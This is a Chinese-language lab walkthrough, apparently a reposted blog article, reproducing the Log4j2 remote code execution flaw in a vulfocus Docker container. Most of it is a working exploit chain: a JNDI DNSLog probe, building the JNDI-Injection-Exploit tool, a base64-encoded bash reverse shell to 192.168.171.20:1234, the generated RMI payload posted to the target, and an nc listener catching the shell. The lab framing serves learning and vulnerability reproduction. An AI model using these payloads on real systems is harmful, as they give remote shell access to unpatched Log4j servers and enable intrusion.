目錄:
- 一、搭建環境
- 1. 首先拉一個docker鏡像
- 2. 然后啟動環境
- 二、獲取shell
- 首先,試驗一下DNSLog
- 1. 準備JNDI注入工具
- 下載
- 進入目錄打包成jar包
- 2. 利用
- 生成payload
- 反彈shell
一、搭建環境
1. 首先拉一個docker鏡像
docker pull vulfocus/log4j2-rce-2021-12-09

2. 然后啟動環境
查看鏡像
docker images

可以使用倉庫名也可以使用image id創建容器
docker run -d -p 8080:8080 vulfocus/log4j2-rce-2021-12-09
docker run -d -p 8080:8080 be0c61922043

-
**docker run :**創建一個新的容器并運行一個命令
-
-d: 后臺運行容器,并回傳容器ID
-
-p: 指定埠映射,格式為:主機(宿主)埠:容器埠
瀏覽器訪問目標ip的8080埠,至此環境就搭好了,


二、獲取shell
首先,試驗一下DNSLog
POST傳參
payload=${jndi:ldap://4rm39n.dnslog.cn}

成功獲取記錄

1. 準備JNDI注入工具
下載
Github專案地址:
https://github.com/sayers522/JNDI-Injection-Exploit
Git下載:
git clone https://github.com/sayers522/JNDI-Injection-Exploit.git

進入目錄打包成jar包
mvn clean package -DskipTests

2. 利用
生成payload
準備payload
bash -i >& /dev/tcp/192.168.171.20/1234 0>&1
base64編碼:
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3MS4yMC8xMjM0IDA+JjE=

進入target目錄利用JNDI注入工具生成payload
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3MS4yMC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.171.20"

使用上圖的這個生成的payload:
rmi://192.168.171.20:1099/ExploitBypass
反彈shell
Kali另一個終端開啟nc監聽
nc -lvvp 1234
打開瀏覽器,用POST傳遞payload
payload=${jndi:rmi://192.168.171.20:1099/ExploitBypass}

可以看到shell已經反彈成功

參考資料:
【Log4j】Log4j2 RCE漏洞復現與GetShell_嗶哩嗶哩_bilibili
銘說 | Apache Log4j2 RCE原理驗證和復現(附CVE-2021-4101應急處置)
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/394149.html
標籤:其他
上一篇:ATT&CK實戰系列(三)
下一篇:網路安全技術概論知識點
